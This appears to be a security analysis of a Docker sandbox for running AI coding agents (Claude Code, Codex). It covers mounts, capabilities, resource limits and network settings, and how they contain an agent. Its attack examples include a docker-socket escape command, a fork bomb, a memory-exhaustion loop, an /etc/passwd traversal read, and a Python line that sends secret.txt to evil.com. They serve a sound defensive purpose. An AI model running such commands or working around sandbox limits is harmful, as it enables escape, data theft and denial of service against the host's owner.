Security analysis of the shared Docker sandbox for running Claude Code through
sclaude or Codex through scodex.
- Path Traversal Attacks: Accessing files outside workspace using
.., symlinks, or other techniques - Container Escape: Breaking out of Docker container to access host system
- Privilege Escalation: Gaining root or elevated privileges
- Resource Exhaustion: Consuming unlimited CPU, memory, or processes
- Credential Theft: Accessing SSH keys, API tokens outside workspace
- Data Exfiltration: Uploading workspace files to malicious servers
- Intentional Malicious Use: User deliberately creating harmful tasks
- Physical Access: Someone with physical access to the host
- Zero-day Container Escapes: Unknown Docker vulnerabilities
- Social Engineering: Tricking user into accepting malicious changes
-v "$WORKSPACE_PATH:$WORKSPACE_PATH:rw"Protection: Uses absolute path, mounted at same location in container
Prevents:
- ✅
../../../etc/passwd- Cannot traverse outside mount - ✅
~/sensitive-file- Only workspace accessible - ✅ Moving files outside workspace - Mount boundary enforced by kernel
How It Works:
- Docker bind mounts create isolated filesystem namespace
- Kernel enforces boundaries at mount point
- No amount of
..traversal can escape
-v sclaude-config:/sclaude-config:rw \
-v scodex-config:/scodex-config:rw \
-v sagent-rootfs:/home/agent:rw \
-v sagent-npm:/home/agent/.npm-global:rw \
-v sagent-pip:/home/agent/.local:rw \
-v sagent-apt-cache:/var/cache/apt:rw \
-v sagent-apt-lists:/var/lib/apt/lists:rwProtection:
- Isolated from host filesystem
- Stored in Docker-managed storage
- Cannot access host directories
Benefits:
- ✅ Credentials persist across runs
- ✅ Package caches persist
- ✅ No conflicts with host files
- ✅ Clean separation of concerns
ARG USER_UID=1000
ARG USER_GID=1000
RUN ... useradd -o -u ${USER_UID} ... agent
USER agentProtection:
- All processes run as non-root
- UID/GID matches host user (for file permissions)
Prevents:
- ✅ Modifying system configuration
- ✅ Accessing privileged operations
- ✅ Installing system-level packages without the allowlisted sudo path
RUN echo 'agent ALL=(root) NOPASSWD: /usr/bin/apt-get, /usr/bin/apt, /usr/bin/dpkg' > /etc/sudoers.d/agentLimited Sudo:
- Only for apt/dpkg commands
- No password required (for convenience)
- Package installs are supported for agent workflows
Rationale:
- Allows agent CLIs to install system dependencies while working
- Package manager cache/list directories persist in Docker volumes
- Root is inside the container only; host isolation still depends on Docker
--cap-drop=ALL \
--cap-add=CHOWN \
--cap-add=DAC_OVERRIDE \
--cap-add=FOWNER \
--cap-add=FSETID \
--cap-add=SETGID \
--cap-add=SETUID \
--cap-add=SYS_CHROOT \
--cap-add=NET_BIND_SERVICEProtection:
- Starts with no Linux capabilities
- Adds back only the set needed for allowlisted
sudo aptpackage installs and low-port binding
Prevents:
- ✅
CAP_SYS_ADMIN- Cannot mount filesystems or create namespaces - ✅
CAP_SYS_PTRACE- Cannot debug other processes - ✅
CAP_NET_ADMIN- Cannot modify network configuration - ✅
CAP_SYS_MODULE- Cannot load kernel modules - ✅
CAP_MKNOD- Cannot create device files
Result: Root inside the container can manage packages, but broad container-control capabilities remain unavailable.
The runtime intentionally does not use no-new-privileges, because that would
break sudo apt. The tradeoff is explicit: agent CLIs can become root inside the
container for allowlisted package-management commands.
Protection still provided:
- Docker socket is not mounted
- Host filesystem access is limited to the workspace bind mount
- Resource limits still apply
- The capability set is restricted
--memory="4g" \
--cpus="2" \
--pids-limit="100" \
--ulimit nofile=8192:8192Memory Limit (4GB):
- Prevents memory exhaustion attacks
- OOM killer terminates processes at limit
- Host system unaffected
CPU Limit (2 cores):
- Prevents CPU exhaustion (bitcoin mining, etc.)
- Throttles to 2 CPUs max
- Host remains responsive
Process Limit (100):
- Prevents fork bombs
- fork() fails at limit
- System remains stable
File Descriptor Limit (8192):
- Prevents FD exhaustion
- Limits open files
--network bridgeProtection:
- Isolated network namespace
- Cannot use container
localhostto access host loopback services
Prevents:
- ✅ Sniffing host traffic
- ✅ Layer 2 attacks (ARP spoofing)
Allows:
- ✅ Internet access (for package downloads)
- ✅ Outbound connections
⚠️ Host services may still be reachable through Docker gateway addresses or Docker Desktop host aliases depending on platform
Limitation:
⚠️ Can exfiltrate workspace data (inherent tradeoff for package management)
Critical:
# We NEVER mount docker socket:
# -v /var/run/docker.sock:/var/run/docker.sock ❌ DANGEROUSWhy This Matters:
- Docker socket = root-equivalent host access
- Could create privileged container and escape
- Major container escape vector
Our Approach:
- ✅ Socket NOT mounted
- ✅ Cannot interact with Docker daemon
- ✅ Cannot create/modify containers
--rmProtection:
- Container deleted on exit
- Filesystem changes discarded (except volumes)
- Clean slate on each run
Benefits:
- ✅ Malware doesn't persist in system
- ✅ apt packages reset each run
- ✅ Cannot build up cruft over time
What Persists (by design):
- Docker volumes (credentials, tool config, caches)
- Workspace files (the point of the tool)
Attack:
with open('../../../etc/passwd', 'r') as f:
data = f.read()Mitigation:
- ✅ BLOCKED: Mount boundary enforced by kernel
..stays within workspace- Even symlinks cannot break out
Attack:
docker run -v /:/host --privileged alpine chroot /hostMitigation:
- ✅ BLOCKED: Socket not mounted
- Cannot access Docker daemon
- Cannot create containers
Attack:
sudo apt-get install some-packageMitigation:
⚠️ ALLOWED FOR PACKAGE MANAGEMENT:apt,apt-get, anddpkgare allowlisted because agent CLIs may need system dependencies.- Docker socket remains unavailable.
- Host filesystem access remains limited to the mounted workspace.
- Capabilities remain limited to the package-management set.
Attack:
:(){ :|:& };:Mitigation:
- ✅ BLOCKED: --pids-limit=100
- fork() fails at limit
- System remains responsive
Attack:
data = []
while True:
data.append([0] * 1000000)Mitigation:
- ✅ BLOCKED: --memory=4g
- OOM killer terminates at limit
- Host unaffected
Attack:
import requests
requests.post('https://evil.com', files={'data': open('secret.txt')})Mitigation:
⚠️ PARTIALLY MITIGATED:- Can exfiltrate workspace files (inherent tradeoff)
- Cannot access SSH keys or credentials outside workspace, except auth/config files intentionally synced into
sclaude-configorscodex-config - Network access needed for package management
Best Practices:
- Don't put secrets in workspace
- Review changes via git diff
- Use git to track all modifications
Attack:
pip install evil-packageMitigation:
- ✅ PARTIALLY MITIGATED:
- Runs as non-root
- Container is ephemeral
- No access to host files
- Limited by capabilities
Blast Radius:
- Can affect workspace
- Cannot persist to system
- Cannot access SSH keys
Issue: Full internet access
Impact:
- Needed for package downloads
- Can exfiltrate workspace data
Mitigations:
- Don't put secrets in workspace
- Review git diff before committing
- Monitor for suspicious activity
Issue: Full read-write to workspace
Impact:
- Can delete/modify all files
- Can commit bad code
Mitigations:
- Use git (commit before running)
- Review changes (git diff)
- Can revert (git reset --hard)
Issue: Can install any packages
Impact:
- Supply chain attacks possible
Mitigations:
- Isolated in container
- Package cache/list state can persist in Docker volumes
- Review installed packages
Before running:
- Git commit - Save current state
- No secrets in workspace
- Claude or Codex auth available if needed
After running:
- Review changes -
git diff - Test functionality
- Audit dependencies
- Commit or revert
- Disable network:
--network none- Read-only workspace (analysis only):
-v "$WORKSPACE_PATH:$WORKSPACE_PATH:ro"- Reduce resource limits:
MEMORY_LIMIT="2g"
CPU_LIMIT="1"
PIDS_LIMIT="50"- Add AppArmor profile:
--security-opt apparmor=docker-default- Use gVisor runtime:
--runtime=runsc| Feature | sclaude / scodex | Native CLI |
|---|---|---|
| Filesystem | Workspace only | Full system |
| Credentials | Docker volume | Keychain/file |
| Path traversal | Blocked | Possible |
| In-container root | Allowed for package management | Depends on OS |
| Resource limits | Enforced | None |
| Network isolation | Bridge | Full access |
| Container escape | Protected | N/A |
| Performance | Native speed | Native speed |
sclaude and scodex provide strong isolation while maintaining agent CLI functionality:
Strong Protections:
- ✅ Path traversal blocked
- ✅ Container escape prevented
- ✅ Host privilege escalation constrained by Docker isolation
- ✅ Resource exhaustion prevented
- ✅ Credentials persist securely
Moderate Protections:
⚠️ Network access (needed for packages)⚠️ Workspace fully accessible (by design)
Best Used For:
- Development tasks with version control
- Automated testing and refactoring
- Code generation and bug fixing
- Projects without sensitive credentials
Not Suitable For:
- Processing untrusted codebases
- Handling sensitive credentials
- Unattended operation without monitoring